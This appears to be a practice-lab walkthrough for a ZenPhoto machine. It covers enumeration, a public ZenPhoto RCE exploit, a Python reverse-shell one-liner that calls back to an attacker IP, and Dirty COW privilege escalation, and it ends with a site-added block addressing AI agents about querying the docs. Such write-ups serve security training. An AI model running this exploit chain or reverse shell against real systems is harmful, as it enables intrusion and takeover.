# ZenPhoto

### Enumeration

```
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
```

```
/test

<!-- zenphoto version 1.4.1.4 [8157] (Official Build) THEME: default (index.php) GRAPHICS LIB: PHP GD library 2.0 { memory: 128M } PLUGINS: class-video colorbox deprecated-functions hitcounter security-logger tiny_mce zenphoto_news zenphoto_sendmail zenphoto_seo  -->
```

ZenPhoto 1.4.1.4 - 'ajax\_create\_folder.php' Remote Code Execution

<https://www.exploit-db.com/exploits/18083>

### Initial Access

```
$ php 18083 192.168.234.41 /test/
zenphoto-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

zenphoto-shell# which python
/usr/bin/python

zenphoto-shell# export RHOST="192.168.49.234";export RPORT=80;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

### PrivEsc

```
OS: Linux version 2.6.32-21-generic (buildd@rothera) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010
```

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - <https://www.exploit-db.com/exploits/40839>

[https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c](<https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c&#xA;>)

```
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: pass123

$ ssh firefart@192.168.234.41
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/zenphoto.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.